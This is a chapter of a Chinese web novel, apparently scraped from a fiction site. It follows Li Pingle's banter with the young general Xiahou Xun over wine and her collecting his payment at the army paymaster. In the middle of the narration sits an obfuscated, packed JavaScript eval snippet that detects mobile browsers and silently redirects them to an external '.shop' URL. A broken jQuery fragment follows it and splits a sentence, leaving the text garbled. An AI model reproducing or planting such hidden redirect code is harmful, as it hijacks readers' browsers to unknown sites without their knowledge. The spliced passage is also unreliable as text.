文趣网 > 都市小说 > 我弟非要当天下第一 > 17. 散千金
    李念白对这孩子的来由很感兴趣,但是李雨生跟人打交道这么多年,除非故意为之的,否则很少人能套到他的话。

    随后,一个奴婢来找李念白。李念白与李雨生告别,匆匆离去。

    等李念白走远,一阵熟悉的口哨声传来,李雨生转身,发现李平乐就坐在屋檐上。

    “我问到了!”

    李雨生兴奋地挥手,三两步便爬上了屋檐,不一会儿到了李平乐身边。

    李平乐比了比李雨生的身高,笑道:“你怀哥长高了不少,比我高了一个个头。雨生,你得争气一些。”

    “我肯定能长高的。你看,我骨头养得多硬!”李雨生撸起袖子,向李平乐比了比手臂,“不过姐,我终于知道你为什么说,暂时先不和怀哥相认了,他好像有自己要做的事。”

    “嗯,我都听到了。现在……还不是时候吧。”

    李平乐盘腿坐着,手里提着两壶酒。屋檐微凉,她把双手缩到袖子里取暖,李雨生坦然伸开双腿,显然是比较不怕冷的那个。

    “那什么才是时候呢?刚刚我多想冲口而出对怀哥说,我是你聪明可爱的弟弟。”李雨生喟叹道,“怀哥意气风发,简直帅呆了,能见到他真好。”

    “呵呵,意气风发?你小子也是情人眼里出西施,啥都觉得你哥好。”李平乐啧了一声,嫌弃道,“夏侯氏和程家这点破事居然还敢插手,胃口这么大也不怕撑死自己。”

    李雨生双手托着腮,郁闷道:“姐,你还真是一如既往,平等地嫌弃每位弟弟。”

    “要是我看不见,你们在皇帝面前演个猴我都管不着。既然被我看见了,我就有养育、教导和帮你们擦屁股的责任,我在这世上只有你和他两个亲人了,我不管谁管你们?”

    李雨生嘿嘿一笑:“姐,你总是嘴硬心软。反正无论如何,你都不会不管怀哥的,对吧?”

    “我也没怪他,就是觉得他做事有点急进了。”李平乐摸了摸李雨生的头,“十年,我尚且还有你在我身边,成为我的支持。怀儿多年来,一直忍受着无尽孤独,我都不知道他这几年到底是怎么熬过来的。我应该早点过来找他的,陪他共进退,这样他应该就不会这么不安吧?”

    李雨生安慰道:“姐,你别太难过。十年前你们失散了,你又被师父困在漠上,中原的消息全无,得知他的线索不就立刻来找他了吗?”

    “他回褚州后,我们在帝都要把事业搞起来,以后等他调回京中才能好好帮他。你要暂时对他隐瞒自己的身份,知道吗?”

    李雨生笃定地点了头。

    李平乐抽了抽鼻子,抹走眼角的泪,拉着李雨生站起来:“我们先回客栈,夏侯浔约摸快来了。”

    ******

    李平乐回到客栈的时候,夏侯浔已站在门口,他闻到酒香,回头时还带着几分笑意。

    李雨生识趣跑回房间,李平乐“啧啧”地摇头:“诶……你还真来啊?宴会上那杯爱而不得的酒没喝饱你?”

    “你也不怕你的嘴碰到酒,把你自己毒死。”夏侯浔腹诽,“你既然买了酒,总得找个人陪你喝吧,你看我行吗?”

    李平乐上下打量夏侯浔:“样貌周正,宽肩窄腰,成色算中上。行吧,勉强可以。”

    夏侯浔笑骂:“你这一套一套的,到底跟谁学的。”

    随后,两人跳到帝都城楼之上,两壶酒,你一口我一口地喝了起来。

    李平乐率先打破了沉默:“崔业和浣纱,我安排给帝都一户没法得到孩子的人家领养。他们看着良善单纯,应该能照顾好孩子。”

    “嗯。”

    又一阵沉默,李平乐等了一下,静静眺望城下,打了个嗝道:“有心事快说出来啊,我可不习惯喝闷酒。”

    夏侯浔喝了一口酒,看了看酒壶里:“话说你这是什么酒?甘醇清冽,竟还选得不错?”

    李平乐托着腮:“你的将士跟我推荐的,城西一民宅自做的桂花酿。那个老板不怎么显摆自己的酒,都是相熟好友推荐的,你这种贵公子估计没听说过。”

    “好酒!以后我得常光顾,我爹肯定喜欢。”

    夏侯浔闷了一口酒,轻轻皱起了眉头,李平乐识趣地沉默了下来。

    月光如华,清风送歌。

    帝都的夜,竟然也有如此宁静的一角。

    夏侯浔微醺,酒气让脸变得有些红:“认识她的时候才十二岁,她很高冷,像一只骄傲无比的白天鹅,我那时候见到她,第一次知道什么是动心的感觉。那时候小,不识面对感情,想引起她的注意,故意气她撩拨她,被她冷冷甩一句‘幼稚’。我装腔作势要欺负她,结果被轻而易举就击倒了。”

    “后来,我和她在沙场上出生入死,她很厉害,很能干,我根本没有机会保护她。她永远像神一样的存在,我无法企及她的脚步。”夏侯浔又闷了一口酒,“我曾想过,若我有朝一日他山石排行能超过她,我会跟她说的……如今看来,已经晚了。”

    李平乐没有说话,跟夏侯浔碰了碰酒壶,自己也闷了一口。

    夏侯浔睨了李平乐一眼,“我还以为你会反驳我,说我笨什么的。”

    李平乐挑了挑眉:“看你心情不好,我便忍一忍了。”

    夏侯浔讥讽:“那还真是辛苦你了。”

    “我不知道该怎么安慰你,我没有喜欢过别人。”李平乐思考道,“我也不能说什么‘你会找到更好的’,毕竟你已经错过最好的——他山榜二十五、倾城美貌,功勋卓绝,世间少有人能及的高度啊。而且你也要体谅她,不是都说,能力越高,责任越大吗?”

    夏侯浔无奈叹道:“你不懂安慰人就算了,你怎么还反过来往我身上插刀?竟还替程筠说话?”

    李平乐抱拳道:“抱歉抱歉,应该支持下我的小财主的。也是,都怪你那兄弟忘恩负义。他应该知道你喜欢程筠吧。”

    “其实……哎……我没有对他明说。连你不过数十日就打探到我对她有好意,更别说身边的亲朋好友。李念白门儿清,他肯定能猜得出。我听我爹说,是程筠指明要跟李念白定亲的,他不算忘恩负义。”夏侯浔自嘲道,“而且,就算没有李念白横插一脚,我也没有勇气去跟程筠说我的心意。”

    李平乐啧啧摇头,总结道:“说白了,便是你畏手畏脚,怨不得人。”

    “我承认。”夏侯浔无言以对,碰了碰李平乐的酒壶:“如今,给这段已经过去的感情,敬一杯吧!”

    两人一同闷了一口酒,酒入喉咙到胃部,暖了整个身体。

    李平乐放怀大叹说“好喝”,笑道:“诶,夏侯浔,要不我们向他们复仇吧?要我是你,肯定咽不下这口气。”

    夏侯浔睨了李平乐一眼:“少来,我没你这般小鸡肚肠。情义仍在,虽有怨气,但不至于闹僵。”

    “好吧,你虽矫情,但也重情。”李平乐思忖片刻,又提鬼主意,“那要不这样吧。现在你和李念白彼此都处得尴尬,现在让他退是不可能了。不如你退一步,给他一个台阶下。”

    夏侯浔稍稍犹豫,问:“怎么做?”

    李平乐笑道:“老规矩,你答应,我帮你完成。”

    “故弄玄虚。”夏侯浔不屑地移开目光,李平乐期待地等着夏侯浔的回复,夏侯浔装作没看到,默默喝酒。

    良久,夏侯浔唇线渐渐柔和,目光看向别处,手上的酒壶无声地碰在李平乐的酒壶上。

    李平乐满足地看向远处,帝都的雄伟景色,一览无余。

    “还有尾款,这几天记得给我了,事情不能再拖延了啊!”

    煞风景的话一出,让夏侯浔心中的好感全无。

    *****

    三天后,李平乐提着食盒,坐在椅子上看舞团练舞。

    夏侯浔面见了圣上和领舞,命舞团在太后寿宴上表演。

    夏侯浔敦促李平乐抓紧让舞团练习,李平乐倒是不留情面,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617040|203388||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一句“不付款不做事”,夏侯浔只能黑着脸四处筹钱,并约好今日过来付款。

    不一会儿,夏侯浔和将勤来了。

    李平乐放下食盒,马上领着李雨生迎了上去。

    “哎哟夏侯少将军,总算把您给盼来了。”夏侯浔看到李平乐就觉得烦躁,那模仿礼部尚书允礼奉承他人的语气,让他心里憋了一股气。

    夏侯浔稍稍抬头,示意将勤把手中的小盒子交给李平乐。

    夏侯浔解释道:“我能凑的银票都在里面了。其中一张纸是印了我印玺的凭证,自己悄悄去军队拿,那是我未来一年的银饷。希望你不要到处宣扬,我给你这么多钱。”

    李平乐看了夏侯浔一眼:“怎么?难不成这些钱,你是瞒着自家人拿的啊?”

    夏侯浔一下被李平乐戳中了心思,支支吾吾道:“这些事你不用管。”

    李平乐打开盒子,数着手里的纸:“这不够啊,怎么才七十两?”

    “先欠着……”夏侯浔别开目光,有些心虚道,“我需要些时日筹备。账房的钥匙,在我奶奶那儿。”

    李平乐“噗嗤”地笑了一声,一副高利贷饶恕欠债者的模样:“行,四十两可以让你欠着,但我有个条件。”

    “你还想怎样?”夏侯浔气出不来,满脸怨愤。

    “我要让你陪我到军营取钱。”

    “你……”夏侯浔指着李平乐,道,“我不是说过要低调吗?如今你让我陪你去,不就让别人知道我给你钱了吗?”

    李平乐如指尖轻弹纸张,轻轻扬眉,一脸狡黠道:“我就是要让全世界都知道,你堂堂少将军夏侯浔,给了我很多钱。”

    *****

    夏侯浔皱眉,站在军队度支官的面前,心中渐渐感到后悔。

    他真是太听李平乐的话,竟然真的来陪她去领钱!

    只是,李平乐的话语中总是有一种奇怪的说服力,听着有理有据,让人无法反驳——

    “你不是说要跟李念白和好吗?那就用实际行动证明,你不爱程筠了,你爱上其他女人,并为了这个女人一掷千金。”

    乍听之下,的确是个可行的办法。

    他与李平乐早有约定,迟早都要付这个钱。如今她居然能用付钱这一件事,发挥它别的作用,也就李平乐才能想得出这种招。

    可转念一想,他夏侯浔包养舞团总管这事,如果被他奶奶知道,估计又是一番惨痛的光景。

    偏偏李平乐好死不死又酸他一句:“诶,之前你不是还说,你是做将军的人了,带两个人回去无需别人批准。那么,包养一个女人,也无需别人批准吧?”

    明知是激将法,又瞬间戳中夏侯浔那骄傲的心。

    最后,他还是跟了过来。

    度支官看了凭证一眼,两眼一瞪,有些结巴:“二……二十两?”

    “是呀!你们将军说,要给我开一座小酒馆。度支官大人,以后我的小酒馆建成了,你记得来呀,民女给你打个八折!”

    李平乐偷笑,一脸谄媚地看向夏侯浔,夏侯浔尴尬地别开了目光。

    度支官看夏侯浔不太情愿的样子,再确认一次:“少将军,这真要这么多银两吗?”

    夏侯浔暗自长吁,强压痛心:“嗯,给她吧!”

    度支官脑袋变得浆糊,一脸茫然地去让人拿银票了。当度支官拿到了银票时,正想递给李平乐时,又再次确认了一次:“将军,真……真给吗?”

    夏侯浔黑着脸,终于忍不了气,冲口而出:“给就给,别这么多废话。”

    李平乐幸灾乐祸地接过了银票,夏侯浔看着银票到李平乐手上,太阳穴一直突突跳着,心里烦躁得很。

    “多谢度支官,多谢少将军。”

    李平乐小人得志地掩嘴,还不忘毕恭毕敬、柔声轻语地表示感谢。

    夏侯浔狠狠盯了李平乐一眼,心里腹诽——

    这个女人的戏怎么这么多?